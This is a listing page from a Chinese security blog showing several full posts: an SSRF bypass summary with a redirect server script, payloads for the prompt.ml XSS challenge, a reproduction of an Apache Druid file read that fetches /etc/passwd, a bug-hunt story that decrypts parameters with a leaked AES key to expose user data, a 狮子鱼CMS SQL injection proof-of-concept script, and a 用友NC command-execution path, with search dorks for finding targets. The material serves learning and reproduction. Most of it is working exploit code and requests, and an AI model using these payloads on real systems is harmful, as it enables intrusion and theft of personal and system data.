首页
友链
联系我吧
Search
1
狮子鱼CMS ApiController.class.php SQL注入漏洞复现
2,436 阅读
2
SSRF绕过总结
1,125 阅读
3
存储桶接管-漏洞复现
887 阅读
4
k8s安装及部分漏洞复现
847 阅读
5
春秋云镜免费靶场记录10.11
813 阅读
web
welcome
漏洞复现
挖洞实战
总结
登录
/
注册
Search
n00bk1ng
累计撰写
36
篇文章
累计收到
9
条评论
首页
栏目
web
welcome
漏洞复现
挖洞实战
总结
页面
友链
联系我吧
搜索到
36
篇与
noob
的结果
2022-04-16
SSRF绕过总结
定义SSRF(Server-Side Request Forgery:服务端请求伪造):是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。SSRF 形成的原因大都是由于服务端提供了对外发起请求的功能且没有对目标地址做过滤与限制。SSRF根据是否回显请求内容分为回显型SSRF和非回显型SSRF。造成原因常见情况是由于一些敏感函数导致漏洞,例如curl_exec()、file_get_contents()、fsockopen()、fopen()、readfile()等检验是否存在dnslog回显这是最常见的方式,在url某参数中可看到一些可以写入url的地址,此时请求dnslog回显,则有可能存在ssrf漏洞,但是仍需要请求内网以确认是否真实存在ssrf请求外链内容成功返回直接填入外链地址在当前页面下返回请求的外链内容,和上述一样,仍需要请求内网信息类确认是否存在ssrf内网服务器返回内容直接请求内网并返回信息,成功则证明一定存在ssrf漏洞。有多重请求方式,直接请求、协议读取、外带等等。绕过手段限制请求地址不为内网ip@符号绕过url地址的组成为protocol://[username]:[password]@hostname[:port]/path/[file][?query],因此在不同的环境中存在不同的绕过方式。payload:http://a:@127.0.0.1:80@xxx.com/xxxcurl解析为:username:a password:null hostname[port]:127.0.0.1:80@xxx.comphp的parse_url解析为:( [scheme] => http [host] => xxx.com [user] => a [pass] => @1@127.0.0.1:80 [path] => /xxx )因此可以通过该方式进行绕过域名解析绕过将127.0.0.1解析到某域名下,然后绕过进制绕过对ip直接进行进制转换再请求//ip为127.0.0.1 十六进制:0x7F000001(加0x,否则无法识别) 十进制:2130706433 八进制:0177.0.0.1(加0,否则无法识别)ctf学的特殊绕过//访问127.0.0.1 http://[::]:80/ http://0/ http://127。0。0。1/ http://127.0.1/ http://0.0.0.0/添加端口绕过有些正则的不严格过滤会导致添加端口即可绕过的情况30x跳转绕过仅仅对当前网址进行了校验,并未对跳转后的网址进行校验,因此可以设置跳转后的地址为127.0.0.1,此时跳转后就可以访问方法一:<?php $ip = $_GET['ip']; $port = $_GET['port']; $schema = $_GET['s']; $data = $_GET['data']; header("Location: $schema://$ip:$port/$data"); ?>使用方法:xxx.com/xxx?s=http&127.0.0.1&port=80import sys from http.server import HTTPServer, BaseHTTPRequestHandler if len(sys.argv) - 1 != 2: print(""" Usage: {} <port.number><url> """.format(sys.argv[0])) sys.exit() class Redirect(BaseHTTPRequestHandler): def do_GET(self): self.send_reponse(302) self.send_header('Location', sys.argv[2]) self.end_headers() def send_error(self, code, message=None): self.send_reponse(302) self.send_header('Location', sys.argv[2]) self.end_headers() HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever() 用法:python3 SSRF302.py port 要跳转的地址短网址绕过本质上利用了30x跳转,但是相较于30x跳转,当前大多厂商的短网址都有认证,可信度大于其他域名存储桶回源绕过此处使用腾讯云存储桶,设置存储桶为静态网站,再添加回源地址,此处的回源地址会限制不允许内网地址,可以通过先解析为外网地址,然后保存后子再修改解析地址为内网地址,就可以成功设置为内网地址的回源。使用方法:将可能存在ssrf的位置输入该静态网站地址即可DNS Rebuilding原理:在对URL进行杰斯时,首先要对该URL提取HOST,然后,系统会对该host进行DNS解析,获取到解析的IP;接着会对该IP进行检测,检测该IP是否是合法的,比如是否是私有IP等;最后,如果IP检测为合法的,则进入curl的阶段发包。分析可知,服务端第一次请求dns解析到第二次请求URL之间有一个时间差,如果能通过该时间差,实现第一次请求获取正常ip,第二次请求获取内网ip,那么就能绕过对SSRF的防护。于是问题的核心就到了TTL的位置,需要解决TTL不为零的问题,阿里云默认TTL大于十分钟,此处有多种解决办法:使用国外服务器进行设置一些国外的服务器是允许TTL为0的,自行搜索ceye.io该网站直接有该功能,可以直接使用对统一域名设置两个A记录可以对同一个域名设置两个A记录(一个内网、一个外网),这样会random访问两条记录中的一个。但是随机性比较强,不是一定能成功的,需要多次尝试自建dns服务器后续更新...利用封闭式字母数字(Enclosed Alphanumerics)字符绕过封闭式字母数字(Enclosed Alphanumerics)字符是一个Unicode块,其中包含圆形,支架或其他非封闭外壳内的字母数字印刷符号,或以句号结尾。封闭的字母数字块包含一个表情符号,封闭的M用作掩码工作的符号。它默认为文本显示,并且定义了两个标准化变体,用于指定表情符号样式或文本表示。这些字符也是可以被浏览器识别的,而开发人员有时会忽略这一点。举例如下:ⓢⓢⓡⓕ.ⓒⓞⓜ->ssrf.com不过我好像没成功...参考链接:[1]https://mp.weixin.qq.com/s?__biz=MzI1NzM0MTMzMg==&mid=2247490902&idx=1&sn=8353c71ef8d69886f28854073544d9d4#[2]http://blog.leanote.com/post/snowming/e2c24cf057a4[3]https://geleta.eu/2019/my-first-ssrf-using-dns-rebinfing/[4]https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf[5]https://mp.weixin.qq.com/s/545el33HNI0rVi2BGVP5_Q
2022年04月16日
1,125 阅读
0 评论
6 点赞
2022-04-05
promptXSS挑战
自己不会,跟着其他大佬的payload做了一遍,记录下来Less0function escape(input) { // warm up // script should be executed without user interaction return '<input type="text" value="' + input + '">'; } 无过滤,直接输出常见payload即可"><img src=1 onerror=prompt(1)> "><svg onload=prompt(1)> "><body onload=prompt(1)> 等Less1function escape(input) { // tags stripping mechanism from ExtJS library // Ext.util.Format.stripTags var stripTagsRE = /<\/?[^>]+>/gi; input = input.replace(stripTagsRE, ''); return '<article>' + input + '</article>'; } 又正则看出对<>进行了过滤,将内容替换为空,因此对右括号进行绕过即可//或者<!--都行 <img src=1 onerror=prompt(1)// <svg onload=prompt(1)// <img src=# onerror="prompt(1)"Less2function escape(input) { // v-- frowny face input = input.replace(/[=(]/g, ''); // ok seriously, disallows equal signs and open parenthesis return input; } 过滤=和(svg:使用SVG标签,会提前将将XML实体解析再加入标签//(是(的unicode编码 <svg><script>prompt(1)</script> //调用js中的eval函数 <script>eval.call`${'prompt\x281)'}`</script> <svg><script>prompt(1)</script> //能绕过但是不能win <script>eval`${alert`1`}`</script> <script>eval.call`${'alert\x281)'}`</script> <script>alert`1`</script>Less3function escape(input) { // filter potential comment end delimiters input = input.replace(/->/g, '_'); // comment the input to avoid script execution return '<!-- ' + input + ' -->'; } 注释->被替换为_,闭合后任意语句即可,右边括号不闭合也能过关//--!>进行闭合 --!><img src=1 onerror=prompt(1) --!><script>prompt(1)</script --!><svg onload=prompt(1) --!><img src=1 onerror=prompt(1)> --!><script>prompt(1)</script> --!><svg onload=prompt(1)>Less4function escape(input) { // make sure the script belongs to own site // sample script: http://prompt.ml/js/test.js if (/^(?:https?:)?\/\/prompt\.ml\//i.test(decodeURIComponent(input))) { var script = document.createElement('script'); script.src = input; return script.outerHTML; } else { return 'Invalid resource.'; } } 同源绕过应该就可以成功了,利用@,由于user不准有/,因此利用decodeURIComponent的解码,对/进行编码,js文件内的内容是:prompt(1),即可攻击成功Less5function escape(input) { // apply strict filter rules of level 0 // filter ">" and event handlers input = input.replace(/>|on.+?=|focus/gi, '_'); return '<input value="' + input + '" type="text">'; } 使用替换,将>替换为_,将on和=外加他们之间的内容的替换为_,将foucs替换为_,(/gi)忽略大小写"src=# type=image onerror ="prompt(1)使用"闭合value,然后用type=image更改输出类型,利用换行键防止被on和=中内容替换,属性描述不在同一行并不影响解析,但是可以避免正则匹配,然后就可以弹出Less6function escape(input) { // let's do a post redirection try { // pass in formURL#formDataJSON // e.g. http://httpbin.org/post#{"name":"Matt"} var segments = input.split('#'); var formURL = segments[0]; var formData = JSON.parse(segments[1]); var form = document.createElement('form'); form.action = formURL; form.method = 'post'; for (var i in formData) { var input = form.appendChild(document.createElement('input')); input.name = i; input.setAttribute('value', formData[i]); } return form.outerHTML + ' \n\ <script> \n\ // forbid javascript: or vbscript: and data: stuff \n\ if (!/script:|data:/i.test(document.forms[0].action)) \n\ document.forms[0].submit(); \n\ else \n\ document.write("Action forbidden.") \n\ </script> \n\ '; } catch (e) { return 'Invalid form data.'; } } 需要用post形式提交一个表单,输入一个url#{post}的内容,然后过滤了script和data,利用js伪协议,尝试输入javascript:prompt#{"ttttest":1}失败,看大佬博客才知道:可以利用action进行覆盖。action有一个特性:如果前后都有action,访问action标签时访问的是后面的action的值,于是payload:javascript:prompt(1)#{"action":1}Less7function escape(input) { // pass in something like dog#cat#bird#mouse... var segments = input.split('#'); return segments.map(function(title) { // title can only contain 12 characters return '<p class="comment" title="' + title.slice(0, 12) + '"></p>'; }).join('\n'); } 此处限制长度,只允许12位以下的字符串输入,此处可以利用#可以分割两边为数组的特性绕过,再配合注释"><script>/*#*/prompt(/*#*/1)/*#*/</script> 大佬版:"><svg/a=#"onload='/*#*/prompt(1)'Less8function escape(input) { // prevent input from getting out of comment // strip off line-breaks and stuff input = input.replace(/[\r\n</"]/g, ''); return ' \n\ <script> \n\ // console.log("' + input + '"); \n\ </script> '; } 利用unicode的行分隔符和段落分隔符进行绕过'\u2028prompt(1)\u2028-->' //放到conlose中,复制输出的内容 Less9function escape(input) { // filter potential start-tags input = input.replace(/<([a-zA-Z])/g, '<_$1'); // use all-caps for heading input = input.toUpperCase(); // sample input: you shall not pass! => YOU SHALL NOT PASS! return '<h1>' + input + '</h1>'; } 将<+字母替换为<_+字母,并且toUpperCase()都转为大写,没啥思路,大佬说ſ 转换为S,这里的ſ字符应该是某个国家的unicode字符,转换后恰好对应s,然后就写payload:<ſcript>prompt(1)</ſcript>,但是没有成功,因为js对大小写敏感(导致prompt(1)无法使用),再查,需要导入js来触发,payload:<ſcript ſrc="https://hammerking.top/xss.js"></ſcript>但是服务器的我没有打通,用本地打通了...LessAfunction escape(input) { // (╯°□°)╯︵ ┻━┻ input = encodeURIComponent(input).replace(/prompt/g, 'alert'); // ┬──┬ ノ( ゜-゜ノ) chill out bro input = input.replace(/'/g, ''); // (╯°□°)╯︵ /(.□. \)DONT FLIP ME BRO return '<script>' + input + '</script> '; } 将prompt替换为alert,将'替换为空,那么有没有一种可能,用单引号绕过,尝试promp't(1)LessBfunction escape(input) { // name should not contain special characters var memberName = input.replace(/[[|\s+*/\\<>&^:;=~!%-]/g, ''); // data to be parsed as JSON var dataString = '{"action":"login","message":"Welcome back, ' + memberName + '."}'; // directly "parse" data in script context return ' \n\ <script> \n\ var data = ' + dataString + '; \n\ if (data.action === "login") \n\ document.write(data.message) \n\ </script> '; } 过滤了很多字符,可以利用js的特性进行绕过,使用in或者instanceof运算符进行绕过,左右"是为了闭合大佬解释:在js中,(prompt(1))instaneof"1"和(prompt(1))in"1"是可以成功弹窗的,其中双引号里面的1可以是任何字符,这里的in或者instanceof是运算符,所以可以有这样的语法结构。"(prompt(1))in" "(prompt(1))instanceof"LessCfunction escape(input) { // in Soviet Russia... input = encodeURIComponent(input).replace(/'/g, ''); // table flips you! input = input.replace(/prompt/g, 'alert'); // ノ┬─┬ノ ︵ ( \o°o)\ return '<script>' + input + '</script> '; } 和前面A关相反,先替换'再替换prompt,这里就没办法使用上面的绕过方式了,可以使用进制转换,再用toString转换回来的方式进行绕过,这里使用parseInt()转换时,因为最大字母为t,所以至少使用30进制(参考十六进制的生成)//先用parseInt("prompt",30)在console中运行,得到的结果在().toString(30)中转换回来 eval((630038579).toString(30))(1)LessDfunction escape(input) { // extend method from Underscore library // _.extend(destination, *sources) function extend(obj) { var source, prop; for (var i = 1, length = arguments.length; i < length; i++) { source = arguments[i]; for (prop in source) { obj[prop] = source[prop]; } } return obj; } // a simple picture plugin try { // pass in something like {"source":"http://sandbox.prompt.ml/PROMPT.JPG"} var data = JSON.parse(input); var config = extend({ // default image source source: 'http://placehold.it/350x150' }, JSON.parse(input)); // forbit invalid image source if (/[^\w:\/.]/.test(config.source)) { delete config.source; } // purify the source by stripping off " var source = config.source.replace(/"/g, ''); // insert the content using mustache-ish template return '<img src="{{source}}">'.replace('{{source}}', source); } catch (e) { return 'Invalid image data.'; } } js没学好,看不懂...payload先写下来,后面学到了回来解决proto:每个对象都会在内部初始化这个属性,当访问对象的某个属性时,如果不存在这个属性,便会去proto里寻找这个属性。可以初步构造payload:{"source":"0"," proto":{"source":"onerror=prompt(1)"}},但是并不能绕过题目的过滤,于是便要利用replace的一个特性{"source":"'"," proto": {"source":"$`onerror=prompt(1)>"}}LessEfunction escape(input) { // I expect this one will have other solutions, so be creative :) // mspaint makes all file names in all-caps :( // too lazy to convert them back in lower case // sample input: prompt.jpg => PROMPT.JPG input = input.toUpperCase(); // only allows images loaded from own host or data URI scheme input = input.replace(/\/\/|\w+:/g, 'data:'); // miscellaneous filtering input = input.replace(/[\\&+%\s]|vbs/gi, '_'); return '<img src="' + input + '">'; } 先全部换为大写,然后替换//+字母为data,再替换一些特殊字符为_,然后...⑧会,记下payload,学会再来"><IFRAME/SRC="x:text/html;base64,ICA8U0NSSVBUIC8KU1JDCSA9SFRUUFM6UE1UMS5NTD4JPC9TQ1JJUFQJPD4=LessFfunction escape(input) { // sort of spoiler of level 7 input = input.replace(/\*/g, ''); // pass in something like dog#cat#bird#mouse... var segments = input.split('#'); return segments.map(function(title, index) { // title can only contain 15 characters return '<p class="comment" title="' + title.slice(0, 15) + '" data-comment=\'{"id":' + index + '}\'></p>'; }).join('\n'); } 不允许*出现,限定长度小于16,#会另起一行重置字数限制,和之前的#和换行符绕过差不多,但是还是有点不理解payload"><svg><!--#--><script><!--#-->prompt(1<!--#-->)</script>参考链接:[1]https://github.com/cure53/XSSChallengeWiki/wiki/prompt.ml[2]https://www.cnblogs.com/slpawn/p/7487161.html[3]https://lorexxar.cn/2015/07/02/xss-p/#level13[4]https://xz.aliyun.com/t/4507#toc-16
2022年04月05日
74 阅读
0 评论
2 点赞
2022-03-11
【CVE-2021-36749】 Apache Druid LoadData 任意文件读取
漏洞原理由于用户指定 HTTP InputSource 没有做出限制,可以通过将文件 URL 传递给 HTTP InputSource 来绕过应用程序级别的限制。由于 Apache Druid 默认情况下是缺乏授权认证,攻击者可利用该漏洞在未授权情况下,构造恶意请求执行文件读取,最终造成服务器敏感性信息泄露。影响版本Apache Druid Version < 0.22fofa语法title="Apache Druid"漏洞复现主界面进入后位于Load data使用HTTP(s)请求,Connect data在URLs后使用file://协议读取文件复现成功请求包POST /druid/indexer/v1/sampler?for=connect HTTP/1.1 Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0 Accept: application/json, text/plain, */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/json;charset=utf-8 Content-Length: 478 Origin: Connection: close Referer: xxx.xxx/unified-console.html { "type":"index", "spec":{ "type":"index", "ioConfig":{ "type":"index", "inputSource":{ "type":"http", "uris":[ "file:///etc/passwd" ] }, "inputFormat":{ "type":"regex", "pattern":"(.*)", "listDelimiter": "56616469-6de2-9da4-efb8-8f416e6e6965", "columns":[ "raw" ] } }, "dataSchema":{ "dataSource":"sample", "timestampSpec":{ "column":"!!!_no_such_column_!!!", "missingValue":"1970-01-01T00:00:00Z" }, "dimensionsSpec":{ } }, "tuningConfig":{ "type":"index" } }, "samplerConfig":{ "numRows":500, "timeoutMs":15000 } }
2022年03月11日
244 阅读
1 评论
-56 点赞
2022-03-10
一次任意文件下载和全站信息泄露的漏洞挖掘经历
0x00考研人考研魂,本该考研的我还赖在这里挖洞...不过多亏这次挖洞,有了我下面的经历。早上背完英语单词,瞥到浏览器上某项目的标签,又没忍住,开搞。0x01首先进入该系统,可以看到注册口中有一个上传营业执照的位置于是尝试上传,都可以成功,但是不能获取路径,无法利用,先记下。注册成功后,进入该系统,在httphistory中发现一个可以返回系统中模板文件目录的包,可以看到系统中作为模板文件以及对应的参数于是尝试将图2中上传文件的参数进行拼接,然后惊喜的发现可以获取当前用户的上传文件目录那么说明参数fileType01代表的是用户id,于是尝试找到带有模板文件的用户,成功找到:现在可以拿到文件各种参数,那么下一步就是要找到如何读取或者下载文件,在系统中下载模板位置找到:但是此时获取的参数是加密的,抱着尝试的想法,第一次尝试解密,然后F12,在某一js文件中找到fileRelatId参数,发现这是一处aes加密,且密钥在前端泄露然后编写js脚本,加密的参数同样为filrRelatId,尝试解密,成功:poc const CryptoJS = require('crypto-js'); //引用AES源码js const key = CryptoJS.enc.Utf8.parse('104a45db14f4ffde') //解密方法 function Decrypt(word) { let decrypt = CryptoJS.AES.decrypt(word, key, { mode: CryptoJS.mode.ECB, padding: CryptoJS.pad.Pkcs7 }); return CryptoJS.enc.Utf8.stringify(decrypt).toString(); } //加密方法 function Encrypt(word) { let srcs = CryptoJS.enc.Utf8.parse(word); let encrypted = CryptoJS.AES.encrypt(srcs, key, { mode: CryptoJS.mode.ECB, padding: CryptoJS.pad.Pkcs7 }); return encrypted.toString(); } 到此实现了全站任意文件下载。0x02然后我又把目光放到了获取用户信息的包上,该包同样是加密的参数对他也进行解密,成功,可以读取到大量用户信息(商家姓名、商家名、法人姓名、手机号、邮箱、开户银行及卡号、地址、营业执照号等等敏感信息),且可以直接遍历读取0x03这次挖掘,我对加解密做出了首次尝试,虽然脚本不是我写的,甚至不是我跑的(此处感谢风溯大佬),但是这次经历让我学到了更多的越权姿势
2022年03月10日
310 阅读
4 评论
4 点赞
2021-08-07
狮子鱼CMS ApiController.class.php SQL注入漏洞复现
狮子鱼以小程序为载体,快速搭建社区社群社交资源的社区团购平台,帮助商家集中运营管理,轻松管理团长/商品/订单/配备货/售后/财务结算等主要销售场景由快递代收点、社区物业、业主等发起的社区微信群每个群都相当于一个社区店。fofa搜索body="/seller.php?s=/Public/login"产生原因public function goods_detail() { $goods_id = I('get.goods_id'); //gallery =>img_url //goods goods.goods_desc goods_name group_price market_price sell_count group_number $sql="select g.*,gd.description,gd.summary,gd.tag from ". C('DB_PREFIX')."goods g,".C('DB_PREFIX')."goods_description gd where g.goods_id=gd.goods_id and g.goods_id=".$goods_id; $goods_arr=M()->query($sql); $qian=array("\r\n"); $hou=array("<br/>"); $goods_arr[0]['summary'] = str_replace($qian,$hou,$goods_arr[0]['summary']); $sql="select image from ".C('DB_PREFIX')."goods_image where goods_id=".$goods_id; $goods_image=M()->query($sql); $gallery = array(); $default_image = ''; foreach($goods_image as $val) { $val['img_url'] = str_replace('http','https',C('SITE_URL')).'/Uploads/image/'.$val['image']; if(empty($default_image)) { $default_image = str_replace('http','https',C('SITE_URL')).resize($val['image'], C('goods_thumb_width'), C('goods_thumb_height')); } $gallery[] = array('img_url' => $val['img_url']); } $goods = $goods_arr[0]; 路径及参数位置路径: /index.php?s=api/goods_detail&goods_id=1漏洞复现库名:1 and updatexml(0,concat(0x7e,(database())),0)表名:1 and updatexml(0,concat(0x7e,(SELECT concat(table_name) FROM information_schema.tables WHERE table_schema=database() limit 0,1)),0)字段名:1 and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='库名' and table_name='表名' limit 0,1),0x7e),1)POC# -*- coding:utf-8 -*- import requests import re import json import sys import urllib3 urllib3.disable_warnings() #忽略https证书告警 vunl_path = "/index.php?s=api/goods_detail&goods_id=1%20and%20updatexml(1,concat(0x7e,database(),0x7e),1)" def POC(url): target_url = url + vunl_path headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36", } try: response = requests.get(url=target_url, headers=headers, verify=False, timeout=10) print("正在测试:", target_url) if "syntax" in response.text: print("上述地址存在SQL注入") except Exception as e: print("请求失败!") sys.exit(0) if __name__ == '__main__': print("python3 poc.py http://xx.xx.xx.xx") addr = str(input("Please input url")) POC(addr)
2021年08月07日
2,436 阅读
0 评论
18 点赞
2021-08-07
用友NC6.5 bsh.servlet.BshServlet 远程命令执行漏洞漏洞复现
用友NC用友NC是一款企业级管理软件,在大中型企业广泛使用。实现建模、开发、继承、运行、管理一体化的IT解决方案信息化平台。fofa搜索body="用友网络"影响范围用友NC6.5漏洞复现漏洞位置:xxx/servlet/~ic/bsh.servlet.BshServlet执行命令:exec("whoami");复现完成
2021年08月07日
653 阅读
1 评论
13 点赞
1
2
3
4
...
6